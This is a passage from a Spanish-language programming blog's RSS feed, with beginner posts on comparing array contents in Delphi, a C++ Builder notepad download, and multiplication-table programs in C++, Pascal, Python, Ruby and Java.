    <span style="color: #000000; font-weight: bold;">for</span> I <span style="color: #000066;">:</span><span style="color: #000066;">=</span> <span style="color: #0000ff;">0</span> <span style="color: #000000; font-weight: bold;">to</span> <span style="color: #0000ff;">4</span> <span style="color: #000000; font-weight: bold;">do</span>
      <span style="color: #000000; font-weight: bold;">for</span> A <span style="color: #000066;">:</span><span style="color: #000066;">=</span> <span style="color: #0000ff;">0</span> <span style="color: #000000; font-weight: bold;">to</span> <span style="color: #0000ff;">4</span> <span style="color: #000000; font-weight: bold;">do</span>
        <span style="color: #000000; font-weight: bold;">if</span> NombreX<span style="color: #000066;">&#91;</span>i<span style="color: #000066;">&#93;</span><span style="color: #000066;">=</span>NombreY<span style="color: #000066;">&#91;</span>A<span style="color: #000066;">&#93;</span> <span style="color: #000000; font-weight: bold;">then</span>
          <span style="color: #000066;">Writeln</span><span style="color: #000066;">&#40;</span><span style="color: #ff0000;">'Las palabras '</span><span style="color: #000066;">+</span>NombreY<span style="color: #000066;">&#91;</span>a<span style="color: #000066;">&#93;</span><span style="color: #000066;">+</span><span style="color: #ff0000;">' Coinciden...'</span><span style="color: #000066;">&#41;</span><span style="color: #000066;">;</span>
&nbsp;
          <span style="color: #000066;">ReadLn</span><span style="color: #000066;">;</span>
    <span style="color: #000000; font-weight: bold;">except</span>
      <span style="color: #000000; font-weight: bold;">on</span> E<span style="color: #000066;">:</span> Exception <span style="color: #000000; font-weight: bold;">do</span>
        <span style="color: #000000; font-weight: bold;">begin</span>
          <span style="color: #000066;">Writeln</span><span style="color: #000066;">&#40;</span>E<span style="color: #000066;">.</span><span style="color: #006600;">ClassName</span><span style="color: #000066;">,</span> <span style="color: #ff0000;">': '</span><span style="color: #000066;">,</span> E<span style="color: #000066;">.</span><span style="color: #006600;">Message</span><span style="color: #000066;">&#41;</span><span style="color: #000066;">;</span>
          <span style="color: #000066;">ReadLn</span><span style="color: #000066;">;</span>
        <span style="color: #000000; font-weight: bold;">end</span><span style="color: #000066;">;</span>
    <span style="color: #000000; font-weight: bold;">end</span><span style="color: #000066;">;</span>
<span style="color: #000000; font-weight: bold;">end</span><span style="color: #000066;">.</span></pre></div></div>

<p>Paso a explicar un poco:</p>
<div id="_mcePaste">Empleamos el bucle <strong>for</strong> y la condicional <strong>if</strong> para realizar esta tarea.</div>
<div id="_mcePaste">Buscamos las palabras y las comparamos con el otro arreglo, si este llega a ser correcto mostramos en la consola el mensaje con las palabras correctas.</div>
<div>Si se necesita comparar con más arreglos simplemente agregamos otro bucle y modificamos la condicional.</div>
<div></div>
<div>

<div class="wp_syntax"><div class="code"><pre class="delphi" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">program</span> Project1<span style="color: #000066;">;</span>
&nbsp;
<span style="color: #008000; font-style: italic;">{$APPTYPE CONSOLE}</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">uses</span>
  SysUtils<span style="color: #000066;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">var</span>
    NombreX<span style="color: #000066;">:</span> <span style="color: #000000; font-weight: bold;">Array</span> <span style="color: #000066;">&#91;</span><span style="color: #0000ff;">0</span><span style="color: #000066;">..</span><span style="color: #0000ff;">4</span><span style="color: #000066;">&#93;</span> <span style="color: #000000; font-weight: bold;">of</span> <span style="color: #000066; font-weight: bold;">String</span> <span style="color: #000066;">=</span><span style="color: #000066;">&#40;</span><span style="color: #ff0000;">'Sebastian'</span><span style="color: #000066;">,</span><span style="color: #ff0000;">'Camilo'</span><span style="color: #000066;">,</span><span style="color: #ff0000;">'Milton'</span><span style="color: #000066;">,</span><span style="color: #ff0000;">'Julian'</span><span style="color: #000066;">,</span><span style="color: #ff0000;">'WindHack'</span><span style="color: #000066;">&#41;</span><span style="color: #000066;">;</span>
    NombreY<span style="color: #000066;">:</span> <span style="color: #000000; font-weight: bold;">Array</span> <span style="color: #000066;">&#91;</span><span style="color: #0000ff;">0</span><span style="color: #000066;">..</span><span style="color: #0000ff;">4</span><span style="color: #000066;">&#93;</span> <span style="color: #000000; font-weight: bold;">of</span> <span style="color: #000066; font-weight: bold;">String</span> <span style="color: #000066;">=</span><span style="color: #000066;">&#40;</span><span style="color: #ff0000;">'Sebastian'</span><span style="color: #000066;">,</span><span style="color: #ff0000;">'Diana'</span><span style="color: #000066;">,</span><span style="color: #ff0000;">'Spektrum'</span><span style="color: #000066;">,</span><span style="color: #ff0000;">'Camilo'</span><span style="color: #000066;">,</span><span style="color: #ff0000;">'Milton'</span><span style="color: #000066;">&#41;</span><span style="color: #000066;">;</span>
    NombreZ<span style="color: #000066;">:</span> <span style="color: #000000; font-weight: bold;">Array</span> <span style="color: #000066;">&#91;</span><span style="color: #0000ff;">0</span><span style="color: #000066;">..</span><span style="color: #0000ff;">4</span><span style="color: #000066;">&#93;</span> <span style="color: #000000; font-weight: bold;">of</span> <span style="color: #000066; font-weight: bold;">String</span> <span style="color: #000066;">=</span><span style="color: #000066;">&#40;</span><span style="color: #ff0000;">'Sebastian'</span><span style="color: #000066;">,</span><span style="color: #ff0000;">'Diana'</span><span style="color: #000066;">,</span><span style="color: #ff0000;">'Spektrum'</span><span style="color: #000066;">,</span><span style="color: #ff0000;">'Camilo'</span><span style="color: #000066;">,</span><span style="color: #ff0000;">'xD'</span><span style="color: #000066;">&#41;</span><span style="color: #000066;">;</span>
    I<span style="color: #000066;">,</span>A<span style="color: #000066;">,</span>B<span style="color: #000066;">:</span><span style="color: #000066; font-weight: bold;">Integer</span><span style="color: #000066;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">begin</span>
  <span style="color: #000000; font-weight: bold;">try</span>
    <span style="color: #000000; font-weight: bold;">for</span> I <span style="color: #000066;">:</span><span style="color: #000066;">=</span> <span style="color: #0000ff;">0</span> <span style="color: #000000; font-weight: bold;">to</span> <span style="color: #0000ff;">4</span> <span style="color: #000000; font-weight: bold;">do</span>
      <span style="color: #000000; font-weight: bold;">for</span> A <span style="color: #000066;">:</span><span style="color: #000066;">=</span> <span style="color: #0000ff;">0</span> <span style="color: #000000; font-weight: bold;">to</span> <span style="color: #0000ff;">4</span> <span style="color: #000000; font-weight: bold;">do</span>
	<span style="color: #000000; font-weight: bold;">for</span> B <span style="color: #000066;">:</span><span style="color: #000066;">=</span> <span style="color: #0000ff;">0</span> <span style="color: #000000; font-weight: bold;">to</span> <span style="color: #0000ff;">4</span> <span style="color: #000000; font-weight: bold;">do</span>
          <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #000066;">&#40;</span>NombreX<span style="color: #000066;">&#91;</span>i<span style="color: #000066;">&#93;</span><span style="color: #000066;">=</span>NombreY<span style="color: #000066;">&#91;</span>A<span style="color: #000066;">&#93;</span><span style="color: #000066;">&#41;</span> <span style="color: #000000; font-weight: bold;">And</span> <span style="color: #000066;">&#40;</span>NombreY<span style="color: #000066;">&#91;</span>A<span style="color: #000066;">&#93;</span><span style="color: #000066;">=</span>NombreZ<span style="color: #000066;">&#91;</span>B<span style="color: #000066;">&#93;</span><span style="color: #000066;">&#41;</span> <span style="color: #000000; font-weight: bold;">then</span>
            <span style="color: #000066;">Writeln</span><span style="color: #000066;">&#40;</span><span style="color: #ff0000;">'Las palabras '</span><span style="color: #000066;">+</span>NombreY<span style="color: #000066;">&#91;</span>a<span style="color: #000066;">&#93;</span><span style="color: #000066;">+</span><span style="color: #ff0000;">' Coinciden...'</span><span style="color: #000066;">&#41;</span><span style="color: #000066;">;</span>
&nbsp;
            <span style="color: #000066;">ReadLn</span><span style="color: #000066;">;</span>
    <span style="color: #000000; font-weight: bold;">except</span>
      <span style="color: #000000; font-weight: bold;">on</span> E<span style="color: #000066;">:</span> Exception <span style="color: #000000; font-weight: bold;">do</span>
        <span style="color: #000000; font-weight: bold;">begin</span>
          <span style="color: #000066;">Writeln</span><span style="color: #000066;">&#40;</span>E<span style="color: #000066;">.</span><span style="color: #006600;">ClassName</span><span style="color: #000066;">,</span> <span style="color: #ff0000;">': '</span><span style="color: #000066;">,</span> E<span style="color: #000066;">.</span><span style="color: #006600;">Message</span><span style="color: #000066;">&#41;</span><span style="color: #000066;">;</span>
          <span style="color: #000066;">ReadLn</span><span style="color: #000066;">;</span>
        <span style="color: #000000; font-weight: bold;">end</span><span style="color: #000066;">;</span>
    <span style="color: #000000; font-weight: bold;">end</span><span style="color: #000066;">;</span>
<span style="color: #000000; font-weight: bold;">end</span><span style="color: #000066;">.</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.daw-labs.com/comparacion-de-palabras-en-arreglos-arrays-diferentes/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Bloc de notas en C++ Builder</title>
		<link>http://www.daw-labs.com/bloc-de-notas-en-c-builder/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=bloc-de-notas-en-c-builder</link>
		<comments>http://www.daw-labs.com/bloc-de-notas-en-c-builder/#comments</comments>
		<pubDate>Sat, 15 May 2010 03:40:01 +0000</pubDate>
		<dc:creator>WindHack</dc:creator>
				<category><![CDATA[C/C++]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[bloc]]></category>
		<category><![CDATA[builder]]></category>
		<category><![CDATA[c++]]></category>
		<category><![CDATA[codigo]]></category>
		<category><![CDATA[Ejemplo]]></category>
		<category><![CDATA[notas]]></category>
		<category><![CDATA[notepad]]></category>
		<category><![CDATA[source]]></category>
		<category><![CDATA[WINDOWS]]></category>

		<guid isPermaLink="false">http://daw-labs.com/?p=363</guid>
		<description><![CDATA[Estaba aburrido, no tenía nada que hacer, así que me puse a programar algo en C++. Éste es un bloc de notas sencillo, pero con las funcionalidades esenciales. Perdonen si hay errores o si el código no está completamente optimizado, pues no programo mucho en este lenguaje. Espero sirva de base o mejor dicho de&#8230;]]></description>
			<content:encoded><![CDATA[<p>Estaba aburrido, no tenía nada que hacer, así que me puse a programar algo en <strong><em>C++.</em></strong></p>
<p><strong><em><span style="font-weight: normal;"><span style="font-style: normal;">Éste es un bloc de notas sencillo, pero con las funcionalidades esenciales. Perdonen si hay errores o si el código no está completamente optimizado, pues no programo mucho en este lenguaje.</span></span></em></strong></p>
<p>Espero sirva de base o mejor dicho de ejemplo.</p>
<p><a href="http://daw-labs.com/wp-content/uploads/2010/05/Notepad.png"><img class="alignnone size-full wp-image-364" title="Notepad" src="http://daw-labs.com/wp-content/uploads/2010/05/Notepad.png" alt="Bloc de notas en C++" width="553" height="350" /></a></p>
<p><em><span style="color: #ff0000;"><strong><span style="font-style: normal;"><span style="color: #888888;">Programado en</span></span></strong><strong>:</strong></span></em> <strong><a href="http://es.wikipedia.org/wiki/C%2B%2B_Builder" target="_blank">Borland C++ Builder</a></strong></p>
<p><strong><em><span style="color: #ff0000;"><span style="font-style: normal;"><span style="color: #888888;">Descargar:</span></span> <span style="font-style: normal;"><a href="http://www.box.net/shared/zp74oqc24k" target="_blank">Box.net &#8211; Notepad(C++).rar</a></span></span></em></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.daw-labs.com/bloc-de-notas-en-c-builder/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tablas de multiplicar</title>
		<link>http://www.daw-labs.com/tablas-de-multiplicar/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=tablas-de-multiplicar</link>
		<comments>http://www.daw-labs.com/tablas-de-multiplicar/#comments</comments>
		<pubDate>Wed, 14 Apr 2010 00:12:37 +0000</pubDate>
		<dc:creator>WindHack</dc:creator>
				<category><![CDATA[C/C++]]></category>
		<category><![CDATA[Delphi/Pascal]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[Ruby]]></category>
		<category><![CDATA[divierte]]></category>
		<category><![CDATA[Ejemplo]]></category>
		<category><![CDATA[multiplicar]]></category>
		<category><![CDATA[Numero]]></category>
		<category><![CDATA[Pascal]]></category>
		<category><![CDATA[perdonen]]></category>
		<category><![CDATA[publicado]]></category>
		<category><![CDATA[Saludos]]></category>
		<category><![CDATA[Unix]]></category>
		<category><![CDATA[WINDOWS]]></category>

		<guid isPermaLink="false">http://daw-labs.co.cc/?p=170</guid>
		<description><![CDATA[Bueno, este principalmente es un código publicado por Javier (JaAViEr), en el cual hace una tabla de multiplicar usando el bucle while en C++. Me pareció interesante aunque realmente su uso no es muy funcional, pero divierte un poco. Dejaré la aplicación original en C++ y pondré unas traducciones que hice a otros lenguajes. -&#8230;]]></description>
			<content:encoded><![CDATA[<p>Bueno, este principalmente es un código publicado por <strong>Javier</strong> (JaAViEr), en el cual hace una tabla de multiplicar usando el bucle <strong>while</strong> en <strong>C++</strong>. Me pareció interesante aunque realmente su uso no es muy funcional, pero divierte un poco.</p>
<p>Dejaré la aplicación original en <strong>C++</strong> y pondré unas traducciones que hice a otros lenguajes.</p>
<p><strong>- C++</strong> <em>(Original by Javier)</em></p>

<div class="wp_syntax"><div class="code"><pre class="cpp" style="font-family:monospace;"><span style="color: #339900;">#include &lt;iostream&gt;</span>
<span style="color: #0000ff;">using</span> <span style="color: #0000ff;">namespace</span> std<span style="color: #008080;">;</span>
<span style="color: #0000ff;">int</span> main<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span>
<span style="color: #008000;">&#123;</span>
  <span style="color: #0000ff;">int</span> n,t,x<span style="color: #000080;">=</span><span style="color: #0000dd;">0</span><span style="color: #008080;">;</span>
    <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;Ejemplo: Empezar:2   -  Terminar: 10&quot;</span> <span style="color: #000080;">&lt;&lt;</span>endl<span style="color: #008080;">;</span>
    <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> endl <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;Numero a Empezar &gt; &quot;</span><span style="color: #008080;">;</span>
     <span style="color: #0000dd;">cin</span> <span style="color: #000080;">&gt;&gt;</span> n<span style="color: #008080;">;</span>
    <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;Numero a Terminar &gt; &quot;</span><span style="color: #008080;">;</span>
     <span style="color: #0000dd;">cin</span> <span style="color: #000080;">&gt;&gt;</span> t<span style="color: #008080;">;</span>
   <span style="color: #0000ff;">while</span> <span style="color: #008000;">&#40;</span>x<span style="color: #000080;">&lt;=</span>t<span style="color: #008000;">&#41;</span><span style="color: #008000;">&#123;</span>
          <span style="color: #0000dd;">cout</span> <span style="color: #000080;">&lt;&lt;</span> n <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;x&quot;</span> <span style="color: #000080;">&lt;&lt;</span> x <span style="color: #000080;">&lt;&lt;</span> <span style="color: #FF0000;">&quot;=&quot;</span> <span style="color: #000080;">&lt;&lt;</span>  x<span style="color: #000040;">*</span>n  <span style="color: #000080;">&lt;&lt;</span>endl<span style="color: #008080;">;</span>
          x<span style="color: #000040;">++</span><span style="color: #008080;">;</span>
    <span style="color: #008000;">&#125;</span>
<span style="color: #008000;">&#125;</span></pre></div></div>

<p>y aquí mis traducciones <img src='http://www.daw-labs.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> :</p>
<p><strong>- Pascal</strong></p>

<div class="wp_syntax"><div class="code"><pre class="pascal" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">program</span> project1;
&nbsp;
<span style="color: #666666; font-style: italic;">{$mode objfpc}</span><span style="color: #666666; font-style: italic;">{$H+}</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">uses</span>
  <span style="color: #666666; font-style: italic;">{$IFDEF UNIX}</span><span style="color: #666666; font-style: italic;">{$IFDEF UseCThreads}</span>
  cthreads<span style="color: #339933;">,</span>
  <span style="color: #666666; font-style: italic;">{$ENDIF}</span><span style="color: #666666; font-style: italic;">{$ENDIF}</span>
  Classes
  <span style="color: #666666; font-style: italic;">{ you can add units after this }</span>;
&nbsp;
<span style="color: #000000; font-weight: bold;">var</span>
N<span style="color: #339933;">,</span>T<span style="color: #339933;">:</span><span style="color: #000066; font-weight: bold;">Integer</span>;
X<span style="color: #339933;">:</span><span style="color: #000066; font-weight: bold;">Integer</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span>;
&nbsp;
<span style="color: #666666; font-style: italic;">{$IFDEF WINDOWS}</span><span style="color: #666666; font-style: italic;">{$R project1.rc}</span><span style="color: #666666; font-style: italic;">{$ENDIF}</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">begin</span>
     <span style="color: #000066;">Writeln</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'Ejemplo: Empezar:2 -&amp;gt; Terminar:10'</span><span style="color: #009900;">&#41;</span>;
     <span style="color: #000066;">Write</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'Numero a empezar &gt; '</span><span style="color: #009900;">&#41;</span>;
     <span style="color: #000066;">Readln</span><span style="color: #009900;">&#40;</span>N<span style="color: #009900;">&#41;</span>;
     <span style="color: #000066;">Write</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'Numero a terminar &gt; '</span><span style="color: #009900;">&#41;</span>;
     <span style="color: #000066;">Readln</span><span style="color: #009900;">&#40;</span>T<span style="color: #009900;">&#41;</span>;
     <span style="color: #000000; font-weight: bold;">while</span> X&lt;<span style="color: #339933;">=</span>T <span style="color: #000000; font-weight: bold;">do</span>
           <span style="color: #000000; font-weight: bold;">begin</span>
             <span style="color: #000066;">Write</span><span style="color: #009900;">&#40;</span>N<span style="color: #339933;">,</span><span style="color: #ff0000;">'x'</span><span style="color: #339933;">,</span>X<span style="color: #339933;">,</span><span style="color: #ff0000;">'='</span><span style="color: #339933;">,</span>x<span style="color: #339933;">*</span>N<span style="color: #339933;">,</span><span style="color: #ff0000;">' '</span><span style="color: #009900;">&#41;</span>;
             Inc<span style="color: #009900;">&#40;</span>X<span style="color: #009900;">&#41;</span>;
           <span style="color: #000000; font-weight: bold;">end</span>;
<span style="color: #000000; font-weight: bold;">end</span>.</pre></div></div>

<p><strong>- Python</strong> <em>(Soy novato en él, así que perdonen errores&#8230;)</em></p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">print</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Tabla de multiplicar&quot;</span><span style="color: black;">&#41;</span>
X = <span style="color: #ff4500;">0</span>
N = <span style="color: #008000;">input</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Introduzca el numero a iniciar &gt; &quot;</span><span style="color: black;">&#41;</span>
T = <span style="color: #008000;">input</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Introduzca el numero para finalizar &gt; &quot;</span><span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">while</span> X <span style="color: #66cc66;">&lt;</span>= T:
	<span style="color: #ff7700;font-weight:bold;">print</span> N,<span style="color: #483d8b;">&quot;x&quot;</span>,X,<span style="color: #483d8b;">&quot;=&quot;</span>,X<span style="color: #66cc66;">*</span>N,<span style="color: #483d8b;">&quot; &quot;</span>
	X += <span style="color: #ff4500;">1</span></pre></div></div>

<p><strong>- Ruby</strong> (Ni hablar apenas aprendí hoy, xD)</p>

<div class="wp_syntax"><div class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#CC0066; font-weight:bold;">print</span> <span style="color:#996600;">'Tablas de multiplicar'</span>
<span style="color:#CC0066; font-weight:bold;">print</span> <span style="color:#996600;">'Introduzca el numero a iniciar &gt; '</span>
Num = <span style="color:#CC0066; font-weight:bold;">gets</span>.<span style="color:#CC0066; font-weight:bold;">chomp</span>
<span style="color:#CC0066; font-weight:bold;">print</span> <span style="color:#996600;">'Introduzca el numero para finalizar &gt; '</span>
Ter = <span style="color:#CC0066; font-weight:bold;">gets</span>.<span style="color:#CC0066; font-weight:bold;">chomp</span>
X = <span style="color:#006666;">0</span>
<span style="color:#008000; font-style:italic;">#Bucles</span>
N = Num.<span style="color:#9900CC;">to_i</span>
T = Ter.<span style="color:#9900CC;">to_i</span>
<span style="color:#9966CC; font-weight:bold;">while</span> X <span style="color:#006600; font-weight:bold;">&lt;</span>= T
	<span style="color:#CC0066; font-weight:bold;">print</span> N,<span style="color:#996600;">'x'</span>,X,<span style="color:#996600;">'='</span>,N<span style="color:#006600; font-weight:bold;">*</span>X,<span style="color:#996600;">' '</span>
	X <span style="color:#006600; font-weight:bold;">+</span>= <span style="color:#006666;">1</span>
<span style="color:#9966CC; font-weight:bold;">end</span></pre></div></div>

<p>Agrego la traducción a Java gracias a <strong>Jh0uBrt</strong>.</p>

<div class="wp_syntax"><div class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.io.*</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> Mult <span style="color: #009900;">&#123;</span>
&nbsp;
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">static</span> <span style="color: #000066; font-weight: bold;">void</span> main<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> args<span style="color: #009900;">&#41;</span> <span style="color: #000000; font-weight: bold;">throws</span> <span style="color: #003399;">IOException</span> <span style="color: #009900;">&#123;</span>
    	 <span style="color: #003399;">BufferedReader</span> linea <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">BufferedReader</span><span style="color: #009900;">&#40;</span>
    	<span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">InputStreamReader</span><span style="color: #009900;">&#40;</span><span style="color: #003399;">System</span>.<span style="color: #006633;">in</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Tabla de multiplicar&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066; font-weight: bold;">int</span> X <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
<span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Introduzca el numero a iniciar &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066; font-weight: bold;">int</span> N <span style="color: #339933;">=</span> <span style="color: #003399;">Integer</span>.<span style="color: #006633;">parseInt</span><span style="color: #009900;">&#40;</span>linea.<span style="color: #006633;">readLine</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Introduzca el numero para finalizar &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066; font-weight: bold;">int</span> T <span style="color: #339933;">=</span>  <span style="color: #003399;">Integer</span>.<span style="color: #006633;">parseInt</span><span style="color: #009900;">&#40;</span>linea.<span style="color: #006633;">readLine</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">while</span><span style="color: #009900;">&#40;</span> X <span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;=</span> T<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	<span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span> N <span style="color: #339933;">+</span> <span style="color: #0000ff;">&quot;x&quot;</span> <span style="color: #339933;">+</span> X <span style="color: #339933;">+</span> <span style="color: #0000ff;">&quot;=&quot;</span> <span style="color: #339933;">+</span> X<span style="color: #339933;">*</span>N <span style="color: #339933;">+</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	X <span style="color: #339933;">+=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Bueno, eso es todo, espero les sirva de algo.</p>
<p>Saludos,</p>
]]></content:encoded>
			<wfw:commentRss>http://www.daw-labs.com/tablas-de-multiplicar/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>

